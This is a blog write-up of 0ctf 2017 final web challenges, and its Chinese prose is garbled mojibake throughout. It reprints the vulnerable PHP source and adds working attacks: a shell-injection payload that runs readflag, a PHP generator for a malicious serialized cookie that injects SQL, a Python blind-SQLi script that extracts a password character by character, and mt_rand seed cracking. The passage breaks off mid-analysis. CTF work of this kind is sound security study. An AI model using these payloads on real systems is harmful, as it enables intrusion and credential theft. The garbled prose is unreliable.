LoRexxar's Blog

0ctf2017 final

2017/06/16

鍑犲懆鍓嶅垰鍒氫粠0ctf final鐨勭幇鍦哄洖鏉ワ紝铏界劧鍚嶈瘝涓嶅ソ锛屼絾鏄敹鑾峰緢澶氾紝涓鐩存病鏉ュ緱鍙婃暣鐞嗭紝浠婂ぉ缁堜簬鏁寸悊瀹屼簡鈥

AVATAR CENTER

棰樼洰寰堢畝鍗曪紝浣嗘槸鍒氫笂鎵嬬殑鏃跺欐尯钀屾瘮鐨勶紝涓鍏变袱涓姛鑳姐

1銆佷慨鏀规椂鍖猴紝鐧婚檰娉ㄥ唽涔嬪悗鏈変竴涓慨鏀规椂鍖虹殑鍔熻兘銆傦紙鐩叉祴璁查亾鐞嗘槸娌′粈涔堝嵉鐢ㄧ殑锛
2銆佷笂浼犲ご鍍忥紝杩欓噷鐩叉祴鐨勭粨鏋滄槸娌℃湁涓嶄細鍋氫换浣曞鐞嗭紝鍖呮嫭鏂囦欢鍚嶅拰鍐呭锛屼絾鏄ご鍍忓唴瀹规槸閫氳繃鍑芥暟杩斿洖鐨勶紝璁块棶getavatar锛岃繑鍥炴枃浠跺唴瀹癸紝娌″姙娉曟壘鍒扮洰褰曞湪鍝

鐮旂┒浜嗕竴浼氬効鍙戠幇杩欓琚鐨勫樊涓嶅浜嗭紝鎰熻鏈夊拷鐣ョ殑鏉′欢锛屼簬鏄壂绔彛鍙戠幇2121瀛樺湪ftp鏈嶅姟锛屽尶鍚嶇櫥闄嗕笂浜嗘湇鍔″櫒锛岀炕浜嗙炕鎷垮埌浜嗘簮鐮併

鍒嗘瀽涓嬮昏緫涓昏鏄繖鏍风殑銆

杈撳叆鏃跺尯蹇呴』涓6浣

1
2
3
4
if (strlen($tz) != 6) {
$response->write("tz format error");
return $response;
}

鍙婊¤冻6浣嶆潯浠讹紝閭d箞灏变細浼犲叆

1
2
3
public function setTZ($tz) {
exec(sprintf("echo %s > %s%s/TZ", $tz, $this->profile_savepath, $this->getdir()));
}

鎵ц鍛戒护

浣嗘槸杩樻湁涓氱敤鐨勯槻寰″嚱鏁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function Security()
{
if (filter_shell($_GET))
die("Potential Hack");
if ($_SERVER['REQUEST_METHOD'] === "POST") {
if (filter_shell($_POST))
die("Potential Hack");
}
}
function filter_shell($var)
{
foreach($var as $key => $value) {
if( is_array($value) && filter_shell($value))
return true;
if( preg_match("/[;$`&]/i", $key . $value))
return true;
}
return false;
}

瀵瑰瓧绗﹀仛浜嗛儴鍒嗚繃婊わ紝铏界劧杩欓噷娌″繀瑕佺粫杩囧氨鍙互锛屼絾鐨勭‘鏄彲浠ョ粫杩囩殑锛屽洜涓鸿繖鍙$_SERVER['REQUEST_METHOD'] === "POST"鍥犱负杩欓噷鏄叏绛変簬锛屾墍浠ュ彲浠ラ氳繃淇敼request_method鐨勫ぇ灏忓啓鏉ョ粫杩囷紝瀵艰嚧杩囨护鏃犵敤銆

杩欓噷棰樼洰涓粰浜嗘彁绀猴紝瑕佺敤readflag鍛戒护璇籪lag锛岄偅涔堣繖閲岀殑鏍囧噯payload灏辨槸

1
|*/re*

鐢变簬褰撳墠鐩綍鍒氬ソ鏄牴鐩綍锛屾墍浠6浣嶅垰濂芥墽琛屻

杩欓噷涔熷彲浠ヤ娇鐢 escapeshellcmd 涓嶈繃婊ゆ垚瀵圭殑寮曞彿鐨勬柟娉曪紝閫氳繃sh鎵ц鍛戒护锛屼篃灏辨槸灏弇鐨勬柟娉曪紝灏变笉璧樿堪浜嗐

uglyweb

璇村疄璇濆簲璇ヤ笉鏄緢闅剧殑棰橈紝浣嗘槸鏀惧埌绾夸笅鑺变簡寰堝鏃堕棿锛屾濊矾杩樻槸涓嶅お寮闃斻

鏁翠釜绔欐病浠涔堝姛鑳斤紝闄や簡鐧婚檰娉ㄥ唽浠ュ锛屽彧鏈変袱涓姛鑳斤紝涓涓槸send锛屽彲浠ョ粰鎸囧畾鐨勭敤鎴峰彂閫佹秷鎭紝鏀跺埌娑堟伅鐨勫彲浠ラ槄璇伙紙杩欓噷瀛樺湪涓涓獂ss锛夛紝鍙︿竴涓槸reset锛屽彲浠ラ噸缃瘑鐮併

鏁翠釜棰樼洰涓鍏辨湁涓や釜flag锛屼竴涓猣lag鍦ㄦ暟鎹簱锛屽彟涓涓猣lag鍦╟ookie涓紝鏄痟ttponly鐨勶紝鐢变簬杩欐槸涓や釜棰樼洰锛屾墍浠ヤ粩缁嗘濊冧竴涓嬶紝鍙互鐚滃埌涓や釜婕忔礊鍒嗗埆鏄粈涔堛

鏁版嵁搴撲腑鐨刦lag涓瀹氫細鏈変竴涓敞鍏ユ紡娲烇紝鑰宑ookie涓殑flag锛屽彧鏈塧dmin鐧婚檰鎵嶈兘鐪嬪埌锛屾病鍔炴硶閫氳繃浠讳綍鍒殑鏂瑰紡鑾峰彇锛岄櫎闈炲嚭棰樹汉澶辫锛屽惁鍒欎笉鑳戒細鍑虹幇涓涓礊鎵撲袱涓猣lag鐨勬儏鍐碉紝鎵浠dmin鐨勫瘑鐮佷竴瀹氫笉鑳借В寮锛屾墍浠ュ繀椤婚噸缃產dmin鐨勫瘑鐮併

鍥炲埌浠g爜閫昏緫涓婃潵锛屾渶閲嶈鐨勬枃浠舵湁鍑犱釜锛

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
user.class.php
<?php
class User{
var $dbTable = 'users';
var $sessionVariable = 'userSessionValue';
var $tbFields = array(
'userID'=> 'userID',
'login' => 'username',
'pass' => 'password',
'email' => 'email',
'active'=> 'active'
);
var $displayErrors = false;
var $userID;
var $userData=array();
var $remTime = 2592000;
var $remCookieName = 'ckSavePass';
var $remCookieDomain = '';
function __construct() {
global $mysqli;
if( !isset( $_SESSION ) ) session_start();
$this->dbConn = $mysqli;
if ( !empty($_SESSION[$this->sessionVariable]) )
{
$this->loadUser( $_SESSION[$this->sessionVariable] );
}
if ( isset($_COOKIE[$this->remCookieName]) && !$this->is_loaded()){
$u = unserialize(base64_decode($_COOKIE[$this->remCookieName]));
$this->login($u['email'], $u['password']);
}
}
function login($email, $password, $remember = false, $loadUser = true {)
$email = $this->escape($email);
$originalPassword = $password;
$password = md5($password);
$res = $this->query("SELECT * FROM `{$this->dbTable}`
WHERE `{$this->tbFields['email']}` = '$email' AND `{$this->tbFields['pass']}` = '$password' LIMIT 1",__LINE__);
var_dump("SELECT * FROM `{$this->dbTable}`
WHERE `{$this->tbFields['email']}` = '$email' AND `{$this->tbFields['pass']}` = '$password' LIMIT 1");
if ( $res->num_rows == 0)
return false;
if ( $loadUser )
{
$this->userData = $res->fetch_array();
$this->userID = $this->userData[$this->tbFields['userID']];
$_SESSION[$this->sessionVariable] = $this->userID;
}
if ( $remember ){
$cookie = base64_encode(serialize(array('email'=>$email,'password'=>$originalPassword)));
$a = setcookie($this->remCookieName,
$cookie,time()+$this->remTime, $base_path, $this->remCookieDomain, false, true);
}
return true;
}
function logout($redirectTo = '')
{
$_SESSION[$this->sessionVariable] = '';
$this->userData = '';
if ( $redirectTo != '' && !headers_sent()){
header('Location: '.$redirectTo );
exit;//To ensure security
}
}
function is($prop){
return $this->get_property($prop)==1?true:false;
}
function get_property($property)
{
if (empty($this->userID)) $this->error('No user is loaded', __LINE__);
if (!isset($this->userData[$property])) $this->error('Unknown property <b>'.$property.'</b>', __LINE__);
return $this->userData[$property];
}
function is_active()
{
return $this->userData[$this->tbFields['active']];
}
function is_loaded()
{
return empty($this->userID) ? false : true;
}
function activate()
{
if (empty($this->userID)) $this->error('No user is loaded', __LINE__);
if ( $this->is_active()) $this->error('Allready active account', __LINE__);
$res = $this->query("UPDATE `{$this->dbTable}` SET {$this->tbFields['active']} = 1 AND `activationHash`=''
WHERE `{$this->tbFields['userID']}` = '".$this->escape($this->userID)."' LIMIT 1");
if ($res->affected_rows == 1)
{
$this->userData[$this->tbFields['active']] = true;
return true;
}
return false;
}
function insertUser($data){
if (!is_array($data)) $this->error('Data is not an array', __LINE__);
$data[$this->tbFields['pass']] = md5($data[$this->tbFields['pass']]);
foreach ($data as $k => $v ) $data[$k] = "'".$this->escape($v)."'";
$this->query("INSERT INTO `{$this->dbTable}` (`".implode('`, `', array_keys($data))."`) VALUES (".implode(", ", $data).")");
return $this->dbConn->insert_id;
}
function randomPass($length=10, $chrs = '1234567890qwertyuiopasdfghjklzxcvbnm'){
for($i = 0; $i < $length; $i++) {
$pwd .= $chrs{mt_rand(0, strlen($chrs)-1)};
}
return $pwd;
}
function query($sql, $line = 'Uknown')
{
$res = $this->dbConn->query($sql);
if ( !$res )
$this->error($this->dbConn->error, $line);
return $res;
}
function loadUser($userID)
{
$res = $this->query("SELECT * FROM `{$this->dbTable}` WHERE `{$this->tbFields['userID']}` = '".$this->escape($userID)."' LIMIT 1");
if ( $res->num_rows == 0 )
return false;
$this->userData = $res->fetch_array();
$this->userID = $userID;
$_SESSION[$this->sessionVariable] = $this->userID;
return true;
}
function findUser($username)
{
$res = $this->query("SELECT * FROM `{$this->dbTable}` WHERE `{$this->tbFields['login']}` = '".$this->escape($username)."' LIMIT 1");
if ( $res->num_rows == 0 )
return false;
return $res->fetch_array()['userID'];
}
function escape($str)
{
if (is_array($str))
{
$str = array_map([&$this, 'escape'], $str);
return $str;
}
else if (is_string($str))
{
return $this->dbConn->real_escape_string($str);
}
else if (is_bool($str))
{
return ($str === false) ? 0 : 1;
}
else if ($str === null)
{
return 'NULL';
}
return $str;
}
function error($error, $line = '', $die = false) {
if ( $this->displayErrors )
echo '<b>Error: </b>'.$error.'<br /><b>Line: </b>'.($line==''?'Unknown':$line).'<br />';
if ($die) exit;
return false;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
message.class.php
<?php
class Message{
var $msg = "";
var $from = "";
var $to = "";
var $id = -1;
function __construct($from, $to, $msg, $id=-1) {
global $mysqli;
$this->from = $from;
$this->to = $to;
$this->msg = $msg;
$this->id = $id;
}
function __toString(){
return $this->msg;
}
}
class MessageManager{
function __construct() {
global $mysqli;
$this->dbConn = $mysqli;
}
function send($message){
$sql = "INSERT INTO `message`(`from`, `to`, `msg`)VALUES('".$this->escape($message->from)."', '".$this->escape($message->to)."', '".$this->escape($message->msg)."')";
$this->dbConn->query($sql);
return $this->dbConn->insert_id;
}
function all($to){
$sql = "SELECT * FROM `message` WHERE `read`=0 and `to`='".$this->escape($to)."'";
$res = $this->dbConn->query($sql);
$result = array();
while($res && $message = $res->fetch_array()){
$result[] = new Message($message['from'], $message['to'], $message['msg'], $message['id']);
}
return $result;
}
function one($to, $id){
$sql = "SELECT * FROM `message` WHERE `read`=0 and `to`='".$this->escape($to)."' and `id`=".intval($id);
$res = $this->dbConn->query($sql);
$result = null;
if($res && $message = $res->fetch_array()){
$result = new Message($message['from'], $message['to'], $message['msg'], $message['id']);
}
return $result;
}
function read($id){
$sql = "UPDATE `message` SET `read`=1 WHERE `id`=".intval($id);
$res = $this->dbConn->query($sql);
}
function escape($str)
{
if (is_array($str))
{
$str = array_map([&$this, 'escape'], $str);
return $str;
}
else if (is_string($str))
{
return $this->dbConn->real_escape_string($str);
}
else if (is_bool($str))
{
return ($str === false) ? 0 : 1;
}
else if ($str === null)
{
return 'NULL';
}
return $str;
}
}

ugly01

杩欓噷鐨勭涓涓猣lag鏄氳繃sql娉ㄥ叆寰楀埌鐨勶紝鍏跺疄閫氬鎵鏈夋簮鐮侊紝涓嶉毦鍙戠幇浠g爜涓墍鏈夎繘鍏ユ暟鎹簱鐨勮鍙ュ叏閮ㄩ氳繃浜唀scape鍑芥暟锛屾垜浠潵鐪嬬湅escape鍑芥暟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function escape($str)
{
if (is_array($str))
{
$str = array_map([&$this, 'escape'], $str);
return $str;
}
else if (is_string($str))
{
return $this->dbConn->real_escape_string($str);
}
else if (is_bool($str))
{
return ($str === false) ? 0 : 1;
}
else if ($str === null)
{
return 'NULL';
}
return $str;
}

杩欓噷杩囨护浜嗘暟缁勩佸瓧绗︿覆銆佸竷灏斿笺佽繕鍒ゆ柇浜嗘槸涓嶆槸null锛岄偅涔堟病鏈夎杩囨护鐨勫彧鏈変竴绉嶇被鍨嬩簡锛屽氨鏄被銆

閭d箞鎴戜滑鍥為【涓涓嬩唬鐮侊紝鍦ㄧ櫥闄嗛昏緫涓湁涓緢閲嶈鐨勫弽搴忓垪鍖栥

1
2
3
4
if ( isset($_COOKIE[$this->remCookieName]) && !$this->is_loaded()){
$u = unserialize(base64_decode($_COOKIE[$this->remCookieName]));
$this->login($u['email'], $u['password']);
}

杩欓噷鐨別mail浼氫唬鍏ogin鍑芥暟涓紝鎷兼帴杩涘叆sql璇彞銆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function login($email, $password, $remember = false, $loadUser = true {)
$email = $this->escape($email);
$originalPassword = $password;
$password = md5($password);
$res = $this->query("SELECT * FROM `{$this->dbTable}`
WHERE `{$this->tbFields['email']}` = '$email' AND `{$this->tbFields['pass']}` = '$password' LIMIT 1",__LINE__);
var_dump("SELECT * FROM `{$this->dbTable}`
WHERE `{$this->tbFields['email']}` = '$email' AND `{$this->tbFields['pass']}` = '$password' LIMIT 1");
if ( $res->num_rows == 0)
return false;
if ( $loadUser )
{
$this->userData = $res->fetch_array();
$this->userID = $this->userData[$this->tbFields['userID']];
$_SESSION[$this->sessionVariable] = $this->userID;
}
if ( $remember ){
$cookie = base64_encode(serialize(array('email'=>$email,'password'=>$originalPassword)));
$a = setcookie($this->remCookieName,
$cookie,time()+$this->remTime, $base_path, $this->remCookieDomain, false, true);
}
return true;
}

鍙彲鎯滆繖閲屼篃浼氳繘鍏scape鍑芥暟锛岄偅涔堟垜灏辫鎯冲姙娉曚唬鍏ヤ竴涓被鎵嶈锛屽啀鐪嬬湅浠g爜

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Message{
var $msg = "";
var $from = "";
var $to = "";
var $id = -1;
function __construct($from, $to, $msg, $id=-1) {
global $mysqli;
$this->from = $from;
$this->to = $to;
$this->msg = $msg;
$this->id = $id;
}
function __toString(){
return $this->msg;
}
}

涓嶉毦鍙戠幇message涓湁涓涓猼ostring鏂规硶锛岄偅涔堟濊矾灏卞緢娓呮櫚浜嗐

閫氳繃璁剧疆cookie浼犲叆搴忓垪鍖栫殑message绫伙紝message->tostring浠e叆email锛屾瀯鎴愭敞鍏

1
2
3
4
5
6
7
8
9
10
11
<?php
include 'message.class.php';
$sql = new Message();
// $sql->msg = 'ddog@ddog.c\' and (select substr(flag,1,1) from flag)=\'f\'#';\
$sql->msg = 'ddog@123\' union select 1,"admin",1,1,1,1#';
$payload = array(
"email"=>$sql,
"password"=>"23333"
);
echo base64_encode(serialize($payload));
?>

杩欐槸娴嬭瘯浠g爜锛岄檮涓奺xp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
import base64
# url = "http://127.0.0.1/rsctf/uglyweb/"
url = "http://192.168.201.13/"
ll = "_{}*1234567890qwertyuiopasdfghjklzxcvbnm"
# a:2:{s:5:"email";O:7:"Message":4:{s:3:"msg";s:38:"ddog@ddog.c' union select 1,2,3,4,5,6#";s:4:"from";N;s:2:"to";N;s:2:"id";i:-1;}s:8:"password";s:5:"23333";}
payload = ""
def attack(url, payload):
u1 = url + "send.php"
plen = len(payload)
payload = 'a:2:{s:5:"email";O:7:"Message":4:{s:3:"msg";s:'+str(plen)+':"'+payload+'";s:4:"from";N;s:2:"to";N;s:2:"id";i:-1;}s:8:"password";s:5:"23333";}'
# print base64.b64encode(payload)
cookies = {'ckSavePass': base64.b64encode(payload)}
r = requests.get(u1, cookies=cookies)
if 'Send Message' in r.text:
return True
return False
flag = ""
for i in xrange(40):
for j in ll:
payload = "bsw6b4y5@mail.bccto.me' and (select substr(PASSWORD,"+str(i)+",1) from users limit 1)='"+j+"'#"
if attack(url, payload):
flag +=j
print flag
break

杩欓噷鐨勭浜屼釜flag鏍规嵁鍑洪浜鸿鐨勮瘽锛屾槸閫氳繃php鐨刴t_rand婕忔礊鏉ラ娴嬮殢鏈烘暟锛岄噸缃產dmin鐨勫瘑鐮侊紝get flag2.

浣嗘槸杩欏叾涓湁涓浜涢棶棰橈紝鎴戜滑鍐欎竴涓猟emo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
// mt_srand(3213214212);
function gencsrftoken($length=10, $chrs = '1234567890qwertyuiopasdfghjklzxcvbnm'){
$csrf = '';
for($i = 0; $i < $length; $i++) {
$csrf .= $chrs{mt_rand(0, strlen($chrs)-1)};
}
return $csrf;
}
print gencsrftoken();
?>

鑾峰緱token鍚庯紝绠楀嚭闅忔満鐨勬暟

1
2
3
4
5
6
7
s= "0gdfzw0lcz"
chr = "1234567890qwertyuiopasdfghjklzxcvbnm"
for i in s:
# print i
print str(chr.index(i))+" "+str(chr.index(i))+" 0 35",

鐒跺悗浣跨敤璁$畻闅忔満鏁扮瀛愮殑宸ュ叿
http://www.openwall.com/php_mt_seed/README

浣嗘槸鍑轰簡涓浜涢棶棰橈紝濡傛灉鎴戜笉鎸囧畾闅忔満鏁扮殑绉嶅瓙锛岃繖涓瀛愬氨涓嶅彲琚绠

1
2
3
4
5
6
7
8
9
10
11
lorexxar@icy:~/Documents/php_mt_rand_c$ ./php_mt_seed 22 22 0 35 31 31 0 35 19 19 0 35 23 23 0 35 33 33 0 35 20 20 0 35 27 27 0 35 4 4 0 35 31 31 0 35 3 3 0 35
Pattern: EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36
Found 0, trying 33554432 - 67108863, speed 15606712 seeds per second ^C
lorexxar@icy:~/Documents/php_mt_rand_c$ ./php_mt_seed 9 9 0 35 16 16 0 35 19 19 0 35 12 12 0 35 11 11 0 35 16 16 0 35 20 20 0 35 13 13 0 35 5 5 0 35 20 20 0 35
Pattern: EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36
Found 0, trying 4261412864 - 4294967295, speed 20581564 seeds per second
Found 0
lorexxar@icy:~/Documents/php_mt_rand_c$ ./php_mt_seed 9 9 0 35 24 24 0 35 22 22 0 35 23 23 0 35 29 29 0 35 11 11 0 35 9 9 0 35 28 28 0 35 31 31 0 35 29 29 0 35
Pattern: EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36 EXACT-FROM-36
Found 0, trying 4261412864 - 4294967295, speed 20432551 seeds per second
Found 0

鍙湁鍦ㄨ鎸囧畾鐨勬儏鍐典笅锛屾墠鑳借窇鍑虹瀛愨.鍑洪鐨勫ぇ浣浠栨病娴嬭瘯杩囬鐩

luckygame

棰樺緢闅撅紝鑰屼笖瀹屾垚鐨勮姹傞潪甯歌嫑鍒伙紝杩欓噷涓姝ユ鐨勮В鍐炽

棣栧厛鏄簮鐮

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
<?php session_start(); ?>
<!DOCTYPE html>
<html>
<head>
<title>Lucky Game</title>
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Raleway:200">
<link href="https://fonts.googleapis.com/css?family=Noto+Sans" rel="stylesheet">
<link rel="stylesheet" href="https://unpkg.com/purecss@0.6.2/build/pure-min.css" integrity="sha384-UQiGfs9ICog+LwheBSRCt1o5cbyKIHbwjWscjemyBMT9YCUMZffs6UqUTd0hObXD" crossorigin="anonymous">
<link rel="stylesheet" href="https://purecss.io/combo/1.18.13?/css/main-grid.css&amp;/css/main.css&amp;/css/menus.css&amp;/css/rainbow/baby-blue.css">
<style>
.header{font-family: 'Noto Sans', sans-serif;}
.header h1{color: rgb(202, 60, 60);}
.button-error {background: rgb(202, 60, 60);}
.button-success {background: rgb(28, 184, 65);}
</style>
</head>
<body>
<div id="layout">
<div id="menu">
<div class="pure-menu">
<a class="pure-menu-heading" href="#">TCTF</a>
</div>
</div>
<div id="main">
<div class="header">
<h1>骞歌繍鏁板瓧</h1>
<h2>Shall we play a "lucky" game?</h2>
</div>
<div class="content">
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
// require 'config.php';
if (!$link=mysqli_connect('localhost', 'root', '')) die('Connection error');
if (!mysqli_select_db($link,'luckygame')) die('Database error');
$tbls = "SELECT group_concat(table_name SEPARATOR '|') FROM information_schema.tables WHERE table_schema=database()";
$cols = "SELECT group_concat(column_name SEPARATOR '|') FROM information_schema.columns WHERE table_schema=database()";
$query = mysqli_query($link,$tbls,MYSQLI_USE_RESULT);
$tbls_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);
$query = mysqli_query($link,$cols,MYSQLI_USE_RESULT);
$cols_name = mysqli_fetch_array($query)[0];
mysqli_free_result($query);
# CREATE TABLE users(id int NOT NULL AUTO_INCREMENT,username varchar(24),password varchar(32),points int,UNIQUE KEY(username),PRIMARY KEY(id));
# INSERT INTO users VALUES(1,"admin",md5(password_of_admin),10);
# CREATE TABLE logs(id int NOT NULL,log varchar(64));
foreach($_POST as $k => $v){
if(!empty($v) && is_string($v))
$_POST[$k] = trim(mysqli_escape_string($link,$v));
else
unset($_POST[$k]);
}
foreach($_GET as $k => $v){
if(!empty($v) && is_string($v))
$_GET[$k] = trim(mysqli_escape_string($link,$v));
else
unset($_GET[$k]);
}
function filter($s){
global $tbls_name,$cols_name;
$blacklist = "sleep|benchmark|order|limit|exp|extract|xml|floor|rand|count|".$tbls_name.'|'.$cols_name; # Ninjas need nothing
if(preg_match("/{$blacklist}/is",$s,$a)) die($blacklist."\n".$a[0]."\n".$s."\n"."<aside>0ops!</aside>");
return $s;
}
function register($username,$password){
global $link;
$q = sprintf("INSERT INTO users VALUES (NULL,'%s',md5('%s'),10)",
filter($username),filter($password));
if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
return TRUE;
}
function login($username,$password){
global $link;
$q = sprintf("SELECT * FROM users WHERE username = '%s' AND password = md5('%s')",
filter($username),filter($password));
if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
$result = mysqli_fetch_array($query);
mysqli_free_result($query);
if(count($result)>0){
$_SESSION['id'] = $result['id'];
$_SESSION['user'] = $result['username'];
return TRUE;
} else {
unset($_SESSION['id'],$_SESSION['user']);
return FALSE;
}
}
function user_log($s){
global $link;
$q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
filter($_SESSION['id'].'|'.$s));
if(!$query = mysqli_query($link,$q)) return FALSE;
return TRUE;
}
function update_point($p){
global $link;
$q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",
$p,$_SESSION['id']);
if(!$query = mysqli_query($link,$q)) return FALSE;
if(!user_log("Update ".$p)) return FALSE;
return TRUE;
}
function my_point(){
global $link;
$q = sprintf("SELECT * FROM users WHERE username = '%s'",
filter($_SESSION['user']));
if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
$result = mysqli_fetch_array($query);
mysqli_free_result($query);
return (int)($result['points']);
}
switch(@$_GET['action']){
case 'register':
if(!empty($_POST['user']) && !empty($_POST['pass']))
if(!register($_POST['user'],$_POST['pass']))
die("<aside>Something went wrong!</aside>");
break;
case 'login':
if(!empty($_POST['user']) && !empty($_POST['pass']))
login($_POST['user'],$_POST['pass']);
break;
case 'logout':
unset($_SESSION['user'],$_SESSION['id']);
break;
default:
break;
}
if(empty($_SESSION['user'])){
echo <<<EOF
<form action="?action=register" method=POST class="pure-form pure-form-stacked">
<fieldset>
<input type=text name=user required placeholder="Username" />
<input type=password name=pass required placeholder="Password" />
<button type="submit" class="pure-button pure-button-primary">Register</button>
</fieldset>
</form>
<form action="?action=login" method=POST class="pure-form pure-form-stacked">
<fieldset>
<input type=text name=user required placeholder="Username" />
<input type=password name=pass required placeholder="Password" />
<button type="submit" class="pure-button pure-button-primary button-success">Login</button>
</fieldset>
</form>
EOF;
die();
}
$points = my_point();
if($points == 1337){
user_log('winner');
echo "<h3>Well played, we will give you a reward soon.</h3>";
}
echo <<<EOF
<h1>Hello <a href='?action=logout'>{$_SESSION['user']}</a></h1>
<h2>You got {$points} points</h2>
<form method=GET class="grid-panel pure-form-aligned pure-form">
<div class="bet-control pure-control-group">
<label for="bet-input">
Your bet
</label>
<input name="bet" id="bet-input" data-content="bet-input"
type="number" min="0" max="16" value=1>
</div>
<div class="guess-control pure-control-group">
<label for="guess-input">
Your guess
</label>
<input name="guess" id="guess-input" data-content='guess-input'
type="number" min="0" value=1>
</div>
<button type="submit" class="pure-button pure-button-primary button-error">Place</button>
</form>
EOF;
if(!empty($_REQUEST['bet']) && (int)$_REQUEST['bet'] > 0 && !empty($_REQUEST['guess']) && (int)$_REQUEST['guess'] > 0){
echo "<aside>";
if($_REQUEST['bet'] > $points) die("What?! you're cheater!");
$number = rand()%8;
echo "It is...<h1 style='color:#fff'>".$number."</h2><br />";
if( $number == $_REQUEST['guess'] ){
echo "You won!";
if(!update_point($_REQUEST['bet']))
return;
} else {
echo "You lost :(";
if(!update_point(-$_REQUEST['bet']))
return;
}
echo "</aside>";
}
mysqli_close($link);
?>
</div>
</div>
</div>
</body>
</html>

鍏堥『搴忕湅涓閬嶏紝寰堝鏄撳彂鐜板湪娉ㄥ唽鐒跺悗鐧婚檰锛屽湪鑾峰彇my_point鐨勬椂鍊欍

1
2
3
4
5
6
7
8
9
10
function my_point(){
global $link;
var_dump("SELECT * FROM users WHERE username = '".filter($_SESSION['user'])."'" );
$q = sprintf("SELECT * FROM users WHERE username = '%s'",
filter($_SESSION['user']));
if(!$query = mysqli_query($link,$q,MYSQLI_USE_RESULT)) return FALSE;
$result = mysqli_fetch_array($query);
mysqli_free_result($query);
return (int)($result['points']);
}

杩欓噷浠巗ession涓幏鍙栦簡user鐨勫硷紝鏋勬垚浜嗕竴涓簩娆℃敞鍏ワ紝浣嗘槸杩欓噷鏈変釜鏂扮殑闂锛屽洜涓洪鐩綋涓粰浜嗘暟鎹簱缁撴瀯锛屾垜浠潵鐪嬬湅

1
2
3
4
# CREATE TABLE users(id int NOT NULL AUTO_INCREMENT,username varchar(24),password varchar(32),points int,UNIQUE KEY(username),PRIMARY KEY(id));
# INSERT INTO users VALUES(1,"admin",md5(password_of_admin),10);
# CREATE TABLE logs(id int NOT NULL,log varchar(64));

user杩欓噷鍙湁24浣嶏紝杩欎篃鏄牳蹇冮棶棰樻墍鍦紝鎴戜滑娌″姙娉曢氳繃浠讳綍鏂瑰紡娉ㄥ叆鏁版嵁銆傛墍浠ユ垜浠繀椤绘兂鍒殑鍔炴硶銆

寰堝揩鎴戜滑閮借兘鎵惧埌绗簩涓敞鍏ュ湪user_log涓,閫氳繃鏇存柊鍒嗘暟鐒跺悗杩涘叆user_log锛岃繖閲屾湁涓涓猧nsert娉ㄥ叆銆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function user_log($s){
global $link;
$q = sprintf("INSERT INTO logs VALUES (id+1,'%s')",
filter($_SESSION['id'].'|'.$s));
var_dump($q);
if(!$query = mysqli_query($link,$q)) return FALSE;
return TRUE;
}
function update_point($p){
global $link;
$q = sprintf("UPDATE users SET points=points+%d WHERE id = %d",
$p,$_SESSION['id']);
if(!$query = mysqli_query($link,$q)) return FALSE;
if(!user_log("Update ".$p)) return FALSE;
var_dump("Ture");
return TRUE;
}

